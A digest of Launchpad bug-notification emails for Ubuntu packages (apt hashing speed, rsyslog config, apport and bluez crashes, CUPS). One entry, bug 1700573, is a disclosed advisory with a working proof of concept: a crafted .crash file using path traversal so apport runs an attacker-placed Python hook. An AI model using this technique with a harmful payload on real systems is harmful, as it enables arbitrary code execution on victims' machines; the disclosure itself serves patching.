  usr/share/man/da/man1/newgrp.1.gz usr/share/man/da/man1/sg.1.gz
  usr/share/man/da/man8/nologin.8.gz usr/share/man/de/man1/login.1.gz
  usr/share/man/de/man1/newgrp.1.gz usr/share/man/de/man1/sg.1.gz
  usr/share/man/de/man1/su.1.gz usr/share/man/de/man5/faillog.5.gz
  usr/share/man/de/man5/login.defs.5.gz
  usr/share/man/de/man8/faillog.8.gz usr/share/man/de/man8/lastlog.8.gz
  usr/share/man/de/man8/nologin.8.gz usr/share/man/fr/man1/login.1.gz
  usr/share/man/fr/man1/newgrp.1.gz usr/share/man/fr/man1/sg.1.gz
  usr/share/man/fr/man1/su.1.gz usr/share/man/fr/man5/faillog.5.gz
  usr/share/man/fr/man5/login.defs.5.gz
  usr/share/man/fr/man8/faillog.8.gz usr/share/man/fr/man8/lastlog.8.gz
  usr/share/man/fr/man8/nologin.8.gz usr/share/man/it/man1/login.1.gz
  usr/share/man/it/man1/newgrp.1.gz usr/share/man/it/man1/sg.1.gz
  usr/share/man/it/man1/su.1.gz usr/share/man/it/man5/faillog.5.gz
  usr/share/man/it/man5/login.defs.5.gz
  usr/share/man/it/man8/faillog.8.gz usr/share/man/it/man8/lastlog.8.gz
  usr/share/man/it/man8/nologin.8.gz] failed to install/upgrade: package
  login is not ready for configuration  cannot configure (current status
  'half-installed')

Status in shadow package in Ubuntu:
  New

Bug description:
  problem installing gnome-tweak-tool

  ProblemType: Package
  DistroRelease: Ubuntu 17.04
  ProcVersionSignature: Ubuntu 4.10.0-19.21-generic 4.10.8
  Uname: Linux 4.10.0-19-generic x86_64
  ApportVersion: 2.20.4-0ubuntu4
  Architecture: amd64
  Date: Tue Jul 18 14:54:33 2017
  DpkgTerminalLog:
   dpkg: error processing package login (--configure):
package login is not ready for configuration
cannot configure (current status 'half-installed')
  ErrorMessage: package login is not ready for configuration  cannot configure 
(current status 'half-installed')
  InstallationDate: Installed on 2017-04-27 (82 days ago)
  InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
  RelatedPackageVersions:
   dpkg 1.18.10ubuntu2
   apt  1.4
  SourcePackage: shadow
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1705035/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1703987] Re: New style permitnonkernelfacility imklog option inside module() doesn't work

[Andreas Hasenack]

The fix was accepted upstream and committed:
https://github.com/rsyslog/rsyslog/issues/477#issuecomment-314878627

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to rsyslog in Ubuntu.
https://bugs.launchpad.net/bugs/1703987

Title:
  New style permitnonkernelfacility imklog option inside module()
  doesn't work

Status in Rsyslog:
  Unknown
Status in rsyslog package in Ubuntu:
  Triaged

Bug description:
  artful 8.16.0-1ubuntu5 (which is way behind upstream and debian, btw)

  There are two ways to load the imklog module and pass it an option
  (PermitNonKernelFacility in this case).

  a) legacy
  $ModLoad imklog
  $KLogPermitNonKernelFacility on

  
  b) "new style", also referred to as "v6+":
  module(load="imklog" permitnonkernelfacility="on")

  For a while the ubuntu package was using a mix: loading the module
  with the new style, but setting the option via the legacy method. In
  bug #1531622 this was fixed for yakkety+.

  Problem is, upstream isn't honouring the new style option setting due
  to a bug of its own: https://github.com/rsyslog/rsyslog/issues/477

  With the legacy config:
  #module(load="imklog" permitnonkernelfacility="on")
  $ModLoad imklog
  $KLogPermitNonKernelFacility on

  I get kernel messages in /var/log/syslog:
  root@nsn7:~# grep andreas-was-here /var/log/syslog
  root@nsn7:~# echo andreas-was-here > /dev/kmsg
  root@nsn7:~# grep andreas-was-here /var/log/syslog
  Jul 12 16:46:33 nsn7 kernel: [27774.476193] andreas-was-here
  root@nsn7:~#

  But with this new v6 config style:
  module(load="imklog" permitnonkernelfacility="on") # provides kernel logging 
support
  #$ModLoad imklog
  #$KLogPermitNonKernelFacility on

  The text doesn't show up in /var/log/syslog. That's the upstream bug.

To manage notifications about this bug go to:
https://bugs.launchpad.net/rsyslog/+bug/1703987/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Julian Andres Klode]

Tests run (for SHA256, add SHA512 as needed):

(1) time for i in md5 sha1 sha256; do nettle-hash -a $i < /tmp/test ; done 
(2) time for i in md5 sha1 sha256; do openssl $i < /tmp/test ; done 
(3) ./a.out < /tmp/test

where a.out is

#include 
#include 

int main(void)
{
Hashes h(Hashes::MD5SUM | Hashes::SHA1SUM | Hashes::SHA256SUM);
h.AddFD(0);
auto hsl = h.GetHashStringList();

for (HashString const  : hsl)
std::cout << h.toStr() << std::endl;
return 0;
}


compiled with g++ -lapt-pkg -O2

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Julian Andres Klode]

New results (user time only, removing read() overhead):

OpenSSL:  6.8s or 9.8s = 147 or 102 MB/s = 1176 or 816 Mbit/s
Nettle:   8.8s or 11.8s = 113 MB/s or 85 MB/s = 904 or 680 Mbit/s
APT:  10.9s or 15s = 92 MB/s or 67 MB/s = 736 or 536 Mbit/s

As we can see, the improvement is not that large, and libnettle also
still has a small way to go to reach OpenSSL's performance.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705086] Re: apport-gtk crashed with SIGSEGV

[Apport retracing service]

*** This bug is a duplicate of bug 1552577 ***
https://bugs.launchpad.net/bugs/1552577

Thank you for taking the time to report this crash and helping to make
this software better.  This particular crash has already been reported
and is a duplicate of bug #1552577, so is being marked as such.  Please
look at the other bug report to see if there is any missing information
that you can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report.  Please continue to report any other bugs you may
find.

** Attachment removed: "CoreDump.gz"
   
https://bugs.launchpad.net/bugs/1705086/+attachment/4917030/+files/CoreDump.gz

** Attachment removed: "Disassembly.txt"
   
https://bugs.launchpad.net/bugs/1705086/+attachment/4917033/+files/Disassembly.txt

** Attachment removed: "ProcMaps.txt"
   
https://bugs.launchpad.net/bugs/1705086/+attachment/4917037/+files/ProcMaps.txt

** Attachment removed: "ProcStatus.txt"
   
https://bugs.launchpad.net/bugs/1705086/+attachment/4917038/+files/ProcStatus.txt

** Attachment removed: "Registers.txt"
   
https://bugs.launchpad.net/bugs/1705086/+attachment/4917039/+files/Registers.txt

** Attachment removed: "Stacktrace.txt"
   
https://bugs.launchpad.net/bugs/1705086/+attachment/4917040/+files/Stacktrace.txt

** Attachment removed: "ThreadStacktrace.txt"
   
https://bugs.launchpad.net/bugs/1705086/+attachment/4917041/+files/ThreadStacktrace.txt

** This bug has been marked a duplicate of bug 1552577
   apport-gtk crashed with SIGSEGV

** Information type changed from Private to Public

** Tags removed: need-amd64-retrace

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1705086

Title:
  apport-gtk crashed with SIGSEGV

Status in apport package in Ubuntu:
  New

Bug description:
  Crash.

  ProblemType: Crash
  DistroRelease: Ubuntu 17.10
  Package: apport-gtk 2.20.5-0ubuntu5
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  Date: Tue Jul 18 13:48:51 2017
  ExecutablePath: /usr/share/apport/apport-gtk
  InstallationDate: Installed on 2017-07-05 (12 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Release amd64 (20170412)
  InterpreterPath: /usr/bin/python3.5
  PackageArchitecture: all
  ProcCmdline: /usr/bin/python3 /usr/share/apport/apport-gtk 
_usr_lib_bluetooth_bluetoothd.0.crash
  SegvAnalysis:
   Segfault happened at: 0x7f7889230969:mov(%rbx),%rdi
   PC (0x7f7889230969) ok
   source "(%rbx)" (0x) not located in a known VMA region (needed 
readable region)!
   destination "%rdi" ok
  SegvReason: reading NULL VMA
  Signal: 11
  SourcePackage: apport
  StacktraceTop:
   ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
   ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
   ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
   ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
   ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
  Title: apport-gtk crashed with SIGSEGV
  UpgradeStatus: Upgraded to artful on 2017-07-05 (12 days ago)
  UserGroups:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1705086/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Julian Andres Klode]

I think my laptop is too old to support AVX, though. But I'm not sure if
libnettle supports that anyway, and libnettle would be our choice.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Julian Andres Klode]

We can't use openssl for legal reasons, and also don't want it in
libapt-pkg for technical reasons anyway.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1123272] Re: high cpu usage on download (not optimised SHA256, SHA512, SHA1)

[Julian Andres Klode]

Results from my 5 year old laptop (X230, Core i5-3320M with 2.6 GHz),
for a 1 GB file:

MD5+SHA1+SHA256: 11s => 90 MB/s => 727 Mbit/s
MD5+SHA1+SHA256+SHA512: 15s => 67 MB/s => 533 Mbit/s

That seems like an acceptable baseline performance. You are not likely
to hit GBs worth of packages, so you have like less than 10 seconds of
maximum CPU use (likely you'll hit 100-200 MB, so 2-3 seconds of CPU
burst). I think 2-3 seconds is completely acceptable.

With nettle which is hardware-accelerated, we achieve:

MD5+SHA1+SHA256: 9s => 111 MB/s => 888 Mbit/s
MD5+SHA1+SHA256+SHA512: 12.8s => 78 MB/s => 625 Mbit/s

(Tests might be skewed a bit in favor of apt, as it avoids duplicate
reads - I had to run multiple nettle-hash after each other, rather than
after each other per block, the overhead is about 0.2 / 0.4s)

The improvement does not seem huge.

Obviously, if you find faster implementations to contribute to nettle,
things might improve further.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1123272

Title:
  high cpu usage on download (not optimised SHA256, SHA512, SHA1)

Status in apt package in Ubuntu:
  Confirmed

Bug description:
  http process takes about 20% on intel i5-3317. Here is output of ps aux:
  root  4309 21.7  0.0  37108  2344 pts/2S+   18:17   0:01 
/usr/lib/apt/methods/http

  it can be easy reproduces with "apt-get download firefox-dbg" or any
  other upgrade realted command.

  The reason of this  overhead are this functions:
  22,34%  http  libapt-pkg.so.4.12.0  [.] SHA256_Transform(_SHA256_CTX*, 
unsigned int const*)
  14,81%  http  libapt-pkg.so.4.12.0  [.] SHA512_Transform(_SHA512_CTX*, 
unsigned long const*)
  8,11%  http  libapt-pkg.so.4.12.0  [.] SHA1Transform(unsigned int*, unsigned 
char const*) 
  5,62%  http  libapt-pkg.so.4.12.0  [.] MD5Transform(unsigned int*, unsigned 
int const*)

  libapt uses own implementation of this hasches without any optimisation.  Are 
there any reason why libapt do not use
  openssl? Beside current version of openssl has AVX optimised SHA* 
implementations.

  ProblemType: Bug
  DistroRelease: Ubuntu 13.04
  Package: apt 0.9.7.7ubuntu1
  ProcVersionSignature: Ubuntu 3.8.0-4.9-generic 3.8.0-rc6
  Uname: Linux 3.8.0-4-generic x86_64
  ApportVersion: 2.8-0ubuntu4
  Architecture: amd64
  Date: Tue Feb 12 18:12:33 2013
  InstallationDate: Installed on 2012-09-13 (152 days ago)
  InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Alpha amd64 (20120913.1)
  MarkForUpload: True
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  SourcePackage: apt
  UpgradeStatus: Upgraded to raring on 2013-02-06 (5 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1123272/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700573] Re: Code execution through path traversal in .crash files processing

[Leonidas S. Barbosa]

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1700573

Title:
  Code execution through path traversal in .crash files processing

Status in Apport:
  Fix Released
Status in apport package in Ubuntu:
  Confirmed
Status in apport source package in Trusty:
  Fix Released
Status in apport source package in Xenial:
  Fix Released
Status in apport source package in Yakkety:
  Fix Released
Status in apport source package in Zesty:
  Fix Released
Status in apport source package in Artful:
  Confirmed

Bug description:
  The function add_hooks_info in apport/report.py is vulnerable to a
  directory traversal when processing the ExecutablePath key of a
  malicious .crash file:

  opt_path = None
  if self.get('ExecutablePath', '').startswith(_opt_dir):
  opt_path = self.get('ExecutablePath', '')
  elif package:
  # check package contents
  try:
  for f in apport.packaging.get_files(package):
  if f.startswith(_opt_dir) and os.path.isfile(f):
  opt_path = f
  break
  except ValueError:
  # uninstalled package
  pass

  if opt_path:
  while len(opt_path) >= len(_opt_dir):
  hook_dirs.append(os.path.join(opt_path, 'share', 'apport', 
'package-hooks'))
  opt_path = os.path.dirname(opt_path)

  
  This can be used to execute an arbitrary python script from an attacker 
controlled path when a crash file is opened:

  fwilhelm@box:~$ cat poc.crash 
  ProblemType: Bug
  ExecutablePath: /opt/../tmp/poc/share/apport/package-hooks
  Package: f

  fwilhelm@box:~$ cat /tmp/poc/share/apport/package-hooks/f.py 
  import os
  os.system("gnome-calculator")

  fwilhelm@bpx:~$ strace -eprocess -f /usr/share/apport/apport-gtk poc.crash 
2>&1 | grep gnome-calculator
  [pid 62617] execve("/bin/sh", ["sh", "-c", "gnome-calculator"], [/* 65 vars 
*/]) = 0
  [pid 62617] execve("/usr/bin/gnome-calculator", ["gnome-calculator"], [/* 64 
vars */]) = 0

  The sub directory requirement makes this a bit tricky to exploit
  remotely, but depending on the environment a malicious USB drive, a
  shared NFS share or a crash file inside an archive could be used.

  Please credit Felix Wilhelm from the Google Security Team in all
  releases, patches and advisories related to these issues.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1700573/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1704628] Re: CUPS keeps crashing 17.04

[Till Kamppeter]

cups-browsed is part of cups-filters, not of cups, therefore moving to
cups-filters.

** Package changed: cups (Ubuntu) => cups-filters (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1704628

Title:
  CUPS keeps crashing 17.04

Status in cups-filters package in Ubuntu:
  Incomplete

Bug description:
  cupsd or cups-browser are systematically crashing at start-up. I tried to 
purge and reinstall cups without success. systemctrl status cups shows:
  cups.service - CUPS Scheduler
 Loaded: loaded (/lib/systemd/system/cups.service; enabled; vendor preset: 
enabled)
 Active: failed (Result: core-dump) since Sun 2017-07-16 16:58:10 CST; 45s 
ago
   Docs: man:cupsd(8)
Process: 14474 ExecStart=/usr/sbin/cupsd -l (code=dumped, signal=SEGV)
   Main PID: 14474 (code=dumped, signal=SEGV)

  Jul 16 16:58:10 my-desktop systemd[1]: Started CUPS Scheduler.
  Jul 16 16:58:10 my-desktop systemd[1]: cups.service: Main process exited, 
code=dumped, status=11/SEGV
  Jul 16 16:58:10 my-desktop systemd[1]: cups.service: Unit entered failed 
state.
  Jul 16 16:58:10 my-desktop systemd[1]: cups.service: Failed with result 
'core-dump'.

  ProblemType: Bug
  DistroRelease: Ubuntu 17.04
  Package: cups 2.2.2-1ubuntu1
  ProcVersionSignature: Ubuntu 4.10.0-26.30-generic 4.10.17
  Uname: Linux 4.10.0-26-generic x86_64
  NonfreeKernelModules: nvidia_uvm nvidia
  ApportVersion: 2.20.4-0ubuntu4.4
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Sun Jul 16 17:06:10 2017
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2017-07-02 (14 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Release amd64 (20170412)
  Lpstat: Error: command ['lpstat', '-v'] failed with exit code 1: lpstat: Bad 
file descriptor
  MachineType: System manufacturer System Product Name
  Papersize: a4
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.10.0-26-generic 
root=UUID=bf399cdf-9a52-46c0-9d61-daa2bc83cf2f ro quiet splash
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/13/2013
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 2104
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: P8Z77-V PRO
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev 1.xx
  dmi.chassis.asset.tag: Asset-1234567890
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr2104:bd08/13/2013:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnP8Z77-VPRO:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: System Product Name
  dmi.product.version: System Version
  dmi.sys.vendor: System manufacturer

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups-filters/+bug/1704628/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1705077] Re: bluetoothd crashed with SIGSEGV in avdtp_sep_set_state()

[Cristian Aravena Romero]

** Information type changed from Private to Public

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1705077

Title:
  bluetoothd crashed with SIGSEGV in avdtp_sep_set_state()

Status in bluez package in Ubuntu:
  New

Bug description:
  Hello,

  Config Bluetoothd.

  Regards,
  --
  Cristian

  ProblemType: Crash
  DistroRelease: Ubuntu 17.10
  Package: bluez 5.45-0ubuntu2
  ProcVersionSignature: Ubuntu 4.11.0-10.15-generic 4.11.8
  Uname: Linux 4.11.0-10-generic x86_64
  ApportVersion: 2.20.5-0ubuntu5
  Architecture: amd64
  CrashCounter: 1
  Date: Tue Jul 18 12:02:06 2017
  ExecutablePath: /usr/lib/bluetooth/bluetoothd
  InstallationDate: Installed on 2017-07-05 (12 days ago)
  InstallationMedia: Ubuntu-GNOME 17.04 "Zesty Zapus" - Release amd64 (20170412)
  InterestingModules: rfcomm bnep btusb bluetooth
  MachineType: SAMSUNG ELECTRONICS CO., LTD. 530U3C/530U4C
  ProcCmdline: /usr/lib/bluetooth/bluetoothd
  ProcEnviron:
   LANG=es_CL.UTF-8
   LANGUAGE=es_CL:es
   PATH=(custom, no user)
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.11.0-10-generic 
root=UUID=6b614287-8ce5-49c5-b66d-e92fa9568c2b ro rootflags=subvol=@ quiet 
splash vt.handoff=7
  SegvAnalysis:
   Segfault happened at: 0x55802f9df42e:mov0x8(%rsi),%rbp
   PC (0x55802f9df42e) ok
   source "0x8(%rsi)" (0x0008) not located in a known VMA region (needed 
readable region)!
   destination "%rbp" ok
  SegvReason: reading NULL VMA
  Signal: 11
  SourcePackage: bluez
  StacktraceTop:
   ?? ()
   ?? ()
   g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
   ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
   g_main_loop_run () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
  Title: bluetoothd crashed with SIGSEGV in g_main_context_dispatch()
  UpgradeStatus: Upgraded to artful on 2017-07-05 (12 days ago)
  UserGroups:
   
  dmi.bios.date: 04/15/2013
  dmi.bios.vendor: Phoenix Technologies Ltd.
  dmi.bios.version: P14AAJ
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: SAMSUNG_NP1234567890
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: FAB1
